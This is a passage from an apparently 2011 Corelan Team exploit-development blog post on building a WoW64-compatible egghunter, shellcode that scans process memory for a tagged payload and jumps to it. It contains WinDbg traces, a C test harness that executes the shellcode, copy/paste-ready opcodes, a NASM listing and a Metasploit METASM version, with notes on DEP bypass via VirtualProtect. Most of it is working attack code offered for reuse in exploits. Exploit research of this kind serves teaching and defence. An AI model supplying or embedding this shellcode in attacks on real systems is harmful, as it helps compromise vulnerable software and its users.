0:000:x86> ed 0028ff04 000000A0 0:000:x86> ed 0028ff00 000000B0 0:000:x86> ed 0028fefc 000000C0 0:000:x86> ed 0028fef8 000000D0 0:000:x86> ed 0028fef4 000000E0 0:000:x86> ed 0028fef0 000000F0 0:000:x86> ed 0028ff0c 00000000 0:000:x86> ed 0028ff10 00000000 0:000:x86> ed 0028ff14 00000000 0:000:x86> ed 0028ff18 00000000 0:000:x86> ed 0028ff1c 00000040 0:000:x86> ed 0028ff20 00000050 0:000:x86> ed 0028ff24 00000060 0:000:x86> ed 0028ff28 00000070 0:000:x86> ed 0028ff2c 00000080 0:000:x86> ed 0028ff30 00000090 0:000:x86> dds esp-1c 0028feec 0028ff08 0028fef0 000000f0 0028fef4 000000e0 0028fef8 000000d0 0028fefc 000000c0 0028ff00 000000b0 0028ff04 000000a0 0028ff08 0008f000 0028ff0c 00000000 0028ff10 00000000 0028ff14 00000000 0028ff18 00000000 0028ff1c 00000040 0028ff20 00000050 0028ff24 00000060 0028ff28 00000070 0028ff2c 00000080 0028ff30 00000090 0:000:x86> g ntdll!ZwAccessCheckAndAuditAlarm ntdll!ZwAccessCheckAndAuditAlarm: 00000000`779615a0 4c8bd1 mov r10,rcx 0:000> t ntdll!ZwAccessCheckAndAuditAlarm+0x3: 00000000`779615a3 b826000000 mov eax,26h 0:000> ntdll!ZwAccessCheckAndAuditAlarm+0x8: 00000000`779615a8 0f05 syscall 0:000> ntdll!ZwAccessCheckAndAuditAlarm+0xa: 00000000`779615aa c3 ret
To confirm our system error in EAX is correct (and confirm we found a readable address in memory) we can do a dump and see that (on my computer) 0x8f000 (the starting address of the Egghunter on my system) is a valid area of memory.
0:000:x86> d 8f000 0008f000 00000000
At this point the routine will increase EAX by 1 until it finds an address in memory that it can not read from. To speed this up I am going to change EAX to 0x9000 since I know on my computer that address is not an existing memory block.
0:000:x86> u 9000 00009000 ?? ??? ^ Memory access error in 'u 9000'
Let’s go ahead and continue until wow64!whNtAccessCheckAndAuditAlarm+0x5d. This was going to be our first condition that we didn’t want to change. It will do a compare with RCX which is saved ESP+0 (EDX). We made this condition false on purpose.
0:000> u wow64!whNtAccessCheckAndAuditAlarm+0x67 wow64!whNtAccessCheckAndAuditAlarm+0x5d: 00000000`75145d05 33db xor ebx,ebx 0:000> wow64!whNtAccessCheckAndAuditAlarm+0x5f: 00000000`75145d07 3919 cmp dword ptr [rcx],ebx ds:00000000`0028ff08=0008f000 0:000> wow64!whNtAccessCheckAndAuditAlarm+0x61: 00000000`75145d09 7420 je wow64!whNtAccessCheckAndAuditAlarm+0x83 (00000000`75145d2b) [br=0])
When we get to the instruction “mov ecx,dword ptr [rcx]”, the “address to check” (0x9000 in this example) is read into ECX. The next instruction “mov eax,dword ptr [rcx+4]” will try and move the next 4 bytes (0x9004) into EAX. This is where an exception will occur, since this is not a valid memory area.
0:000> t wow64!whNtAccessCheckAndAuditAlarm+0x69: 00000000`749d5d11 8b4104 mov eax,dword ptr [rcx+4] ds:00000000`00009004=???????? 0:000> t (bf8.308): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. wow64!whNtAccessCheckAndAuditAlarm+0x69: 00000000`749d5d11 8b4104 mov eax,dword ptr [rcx+4] ds:00000000`00009004=???????? 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: wow64!whNtAccessCheckAndAuditAlarm+69 00000000`749d5d11 8b4104 mov eax,dword ptr [rcx+4] EXCEPTION_RECORD: ffffffffffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 00000000749d5d11 (wow64!whNtAccessCheckAndAuditAlarm+0x0000000000000069) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 0000000000000000 Parameter[1]: 0000000000009004 Attempt to read from address 0000000000009004 FAULTING_THREAD: 0000000000000308 DEFAULT_BUCKET_ID: INVALID_POINTER_READ PROCESS_NAME: image00000000`00400000 ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. EXCEPTION_PARAMETER1: 0000000000000000 EXCEPTION_PARAMETER2: 0000000000009004 READ_ADDRESS: 0000000000009004 FOLLOWUP_IP: wow64!whNtAccessCheckAndAuditAlarm+69 00000000`749d5d11 8b4104 mov eax,dword ptr [rcx+4] MOD_LIST:NTGLOBALFLAG: 70 APPLICATION_VERIFIER_FLAGS: 0 PRIMARY_PROBLEM_CLASS: INVALID_POINTER_READ BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_READ LAST_CONTROL_TRANSFER: from 00000000749ccf87 to 00000000749d5d11 STACK_TEXT: 00000000`0008e270 00000000`749ccf87 : 00000000`0028ff00 00000000`0028ff00 00000000`7efdb000 00000000`7efdb000 : wow64!whNtAccessCheckAndAuditAlarm+0x69 00000000`0008e350 00000000`74952776 : 00000000`774401c4 00000000`749c0023 00000000`00000246 00000000`0028fff0 : wow64!Wow64SystemServiceEx+0xd7 00000000`0008ec10 00000000`749cd07e : 00000000`00000000 00000000`74951920 00000000`0008eea0 00000000`7727ecd1 : wow64cpu!TurboDispatchJumpAddressEnd+0x2d 00000000`0008ecd0 00000000`749cc549 : 00000000`00000000 00000000`00000000 00000000`749c4ac8 00000000`7ffe0030 : wow64!RunCpuSimulation+0xa 00000000`0008ed20 00000000`77294956 : 00000000`002c3600 00000000`00000000 00000000`77382670 00000000`77355978 : wow64!Wow64LdrpInitialize+0x429 00000000`0008f270 00000000`77291a17 : 00000000`00000000 00000000`77294061 00000000`0008f820 00000000`00000000 : ntdll!LdrpInitializeProcess+0x17e4 00000000`0008f760 00000000`7727c32e : 00000000`0008f820 00000000`00000000 00000000`7efdf000 00000000`00000000 : ntdll! ?? ::FNODOBFM::`string'+0x29220 00000000`0008f7d0 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!LdrInitializeThunk+0xe SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: wow64!whNtAccessCheckAndAuditAlarm+69 FOLLOWUP_NAME: MachineOwner MODULE_NAME: wow64 IMAGE_NAME: wow64.dll DEBUG_FLR_IMAGE_TIMESTAMP: 4e212272 STACK_COMMAND: ~0s ; kb FAILURE_BUCKET_ID: INVALID_POINTER_READ_c0000005_wow64.dll!whNtAccessCheckAndAuditAlarm BUCKET_ID: X64_APPLICATION_FAULT_INVALID_POINTER_READ_wow64!whNtAccessCheckAndAuditAlarm+69 Followup: MachineOwner
We can see that it tried to read from an invalid pointer, and threw an exception. If we pass the exception we will come out of WoW64 and return at our “cmp al,05” (break point needs to be set).
So, as you can see, the exception wasn’t harmful to our code and we simply return from WoW64 into our 32bit process, without breaking the 32bit process.
If we look at our registers we can see that AL in EAX has the error code of 0x05, indicating a not readable. This condition will make our compare true, trigger a jump back to “OR DX,0FFF” and move to the next page in memory.
So it appears our Egghunter works and we are leveraging the conditional statements in wow64!whNtAccessCheckAndAuditAlarm to see if our area is readable. Let’s go ahead and set EDX to 0x400000 and see if we find our shell code.
Woot! It looks like it found our code. So it appears our Egghunter is good.
So, to sum things up, I am going to be calling FS:[EBX +0x0c], so we need to have the following stack & register setup:
Stack layout at the time of the syscall “read test”:
- 0x???????? (address to test)
- 0x00000000
- 0x00000000
- 0x00000000
- 0x00000000
Registers :
- EAX : 0x26 (NtAccessCheckAndAuditAlarm)
- ECX : 0x00000000
- EDX : location of the addrress to use in the read test (set to ESP before the call). We pushed the address onto the stack, so simply set EDX to ESP
- EBX : 0x0c
To achieve this, our code will
- set EBX = 0
- then push EBX 4 times on the stack
- mov 0x0c into EBX
- set EAX = 0x26
- value to trigger NtAccessCheckAndAuditAlarm
- set ECX = 0
- set EDX = Egghunter searchable parameter
- before our call move ESP into EDX, this is the location of where RCX begins comparing our parameters off the stack
- EBX,ESI,and EBP will remain unchanged during our transition and our system call so we can use those registers for other purposes.
Coming back to our null byte ‘issue’ as well I decided to kill ‘2 birds with one stone’. During testing I realized that EBX will not be changed during our transition into WoW64 and our system call. So we can take advantage of the register to create sort of a stub to clear our the register (EBX) and push our nulls onto the stack and execute “mov bl, 0xc0” which will put TEB 0x0c into EBX and we can do a call with no null bytes.
Putting it all together I was able to get a 47 byte Egghunter. It is 15 more bytes than the traditional 32 bit. You can find the assembly and opcodes for the new Egghunter below.
#include#include #include using namespace std; char code[]= // WOW64 Egghunter written by Lincoln // lincoln@corelan.be // 64 stub needed before loop "\x31\xdb" //xor ebx,ebx "\x53" //push ebx "\x53" //push ebx "\x53" //push ebx "\x53" //push ebx "\xb3\xc0" //mov bl,0xc0 // 64 Loop "\x66\x81\xCA\xFF\x0F" //OR DX,0FFF "\x42" //INC EDX "\x52" //PUSH EDX "\x6A\x26" //PUSH 26 "\x58" //POP EAX "\x33\xC9" //XOR ECX,ECX "\x8B\xD4" //MOV EDX,ESP "\x64\xff\x13" //CALL DWORD PTR FS:[ebx] "\x5e" //POP ESI "\x5a" //POP EDX "\x3C\x05" //CMP AL,5 "\x74\xe9" //JE SHORT egg.0043F000 "\xB8\x77\x30\x30\x74" //MOV EAX,74303077 w00t "\x8B\xFA" //MOV EDI,EDX "\xAF" //SCAS DWORD PTR ES:[EDI] "\x75\xe4" //JNZ SHORT egg.0043F001 "\xAF" //SCAS DWORD PTR ES:[EDI] "\x75\xe1" //JNZ SHORT 0043F001 "\xFF\xE7" //JMP EDI //SC PAYLOAD "\xcc\xcc\xcc\xcc\x77\x30\x30\x74" "\x77\x30\x30\x74\xcc\x41\x42\x43\x44\xcc"; int main(int argc, char **argv) { DWORD old; VirtualProtect(&code, 500, PAGE_EXECUTE_READWRITE, &old); int (*func)(); func = (int (*)()) code; (int)(*func)(); }
Perfect !
But there is another issue.
This Egghunter will only work on WoW64 systems. So if you don’t know what OS your target is running, ideally you would need an egghunter that is generic and just works.
To overcome that limitation I wrote an assembly routine to see if WoW64 is present and to use either that or the 32 bit Egghunter. In other words, you can use this Egghunter for 32bit processes running on native 32bit OS and within the WoW64 environment as well.
Essentially since the code segment for “are we running in WoW64” is set to 23 in a WoW64 environment, we can work a check for that into our code to determine which Egghunter to use through a few compare statements.
You can assemble the code below with NASM. Also just as an FYI you can XOR the EDX register if you want to speed up the 64bit search, during testing with WoW64 and when EDX contained a high value address, the hunter timed out or crashed.
In other words, this egghunter runs, but it will start searching at 0x1000 (if you have set edx to 0 first) and might time out/crash at the end of userland memory. If it has found the shellcode before reaching the end, it will just work fine.
If you don’t want this to happen, you may have to use a different register to clear and push 0 to the stack, and set EDX to the startlocation you want.
Final code
[BITS 32] ; Corelan Team ; WOW64 Egghunter ; written by LincolnThe opcodes (copy/paste friendly) for this egghunter looks like this:
"\x66\x8c\xcb\x80\xfb\x23\x75\x08\x31\xdb\x53\x53\x53\x53\xb3\xc0" "\x66\x81\xca\xff\x0f\x42\x52\x80\xfb\xc0\x74\x19\x6a\x02\x58\xcd" "\x2e\x5a\x3c\x05\x74\xea\xb8" "\x77\x30\x30\x74" # tag w00t "\x89\xd7\xaf\x75\xe5\xaf\x75\xe2\xff\xe7\x6a\x26\x58\x31\xc9\x89" "\xe2\x64\xff\x13\x5e\x5a\xeb\xdf"Or, in METASM (Metasploit friendly) :
; Corelan Team ; WOW64 Egghunter ; written by Lincolnegg_asm = %Q| check: mov bx,cs ; see if cs:23 is running which is WoW64 is running cmp bl, 0x23 ; unchanged during syscall, does not need to be in the loops jnz egg ; will jump to regular 32 bit egghunter if not detected, otherwise goes to wow64 stub below stub: xor ebx,ebx ; clear stack params used by edx to make sure when converted to 64 bit during syscall does not mess egghunter push ebx ; push 0 push ebx ; push 0 push ebx ; push 0 push ebx ; push 0 mov bl,0xc0 ; put call to teb + 0x0c which is call to wow64cpu!x86switchto64bitmode egg: or dx,0x0fff ; generic egghunter inc edx push edx cmp bl, 0xc0 ; unchanged during syscall, jmp to wow64 egghunter or continue to regular egghunter ; to regular egghunter je egg_64 egg_32: push 0x2 pop eax int 0x2e pop edx egg_end: cmp al,0x5 ;generic egghunter je egg mov eax, 0x74303077 mov edi,edx scasd jnz egg + 5 scasd jnz egg + 5 jmp edi egg_64: push 0x38 ;call to auditandcheck in syswow pop eax xor ecx,ecx ;param mov edx,esp ;param call dword [fs:ebx] ;jmp far to 33:WoW64 pop ecx pop edx jmp egg_end | egg = Metasm::Shellcode.assemble(Metasm::Ia32.new, egg_asm).encode_string
When compiled it comes out to 67 bytes. Not ideal, but still smaller than a staged payload and this is completely universal. However we may still have one problem. DEP!
DEP
As you can read here, if DEP is enabled, we still need to call Virtual Protect or VirtualAlloc (or another bypass DEP function) to turn of DEP for the discovered shellcode. The technique implemented in msf and explained in our previous post, requires one of the registers to contain the pointer to for example virtualprotect and virtualalloc, so it can be resued to mark the found shellcode as executable prior to jumping to it.
Since EBP is unchanged in the routine above, we can use that register to hold the pointer to the function we need to call after the Egghunter has found our shellcode, and before jumping to it.
Windows 8 Update
Previously I wrote this article in 2011 before Windows 8 was released, however it appears this egghunter will no longer work starting on Windows 8. The system calls are now different in Windows 8 from Windows 7, and differ again in Windows 8 SP1. It appears all the system calls have been either incremented by 1 or changed completely different.
We could probably write another stub to find out which environment we are in, but then that increases the size of the shellcode. Perhaps it is time to explore a different technique that we can use to make it more universal for modern operating systems.
Room for improvement?
Always! If you can find a way to make it smaller/better/faster, let us know. We might work on getting this merged into the metasploit egghunter too… We’ll see.
Don’t hesitate to drop me a note
-Lincoln (lincoln [at] corelan {dot} be or Twitter)
Thanks
- Corelan Team
- Wife
- Resources off Google
- @tekwizz123 (thank you for spot check)
© 2011 – 2021, Corelan Team (Lincoln). All rights reserved.
Comments are closed.
Corelan Training
Check out our schedules page here and sign up for one of our classes now!
Donate
Your donation will help funding server hosting.
Corelan Team Merchandise
Corelan on Slack
You can chat with us and our friends on our Slack workspace: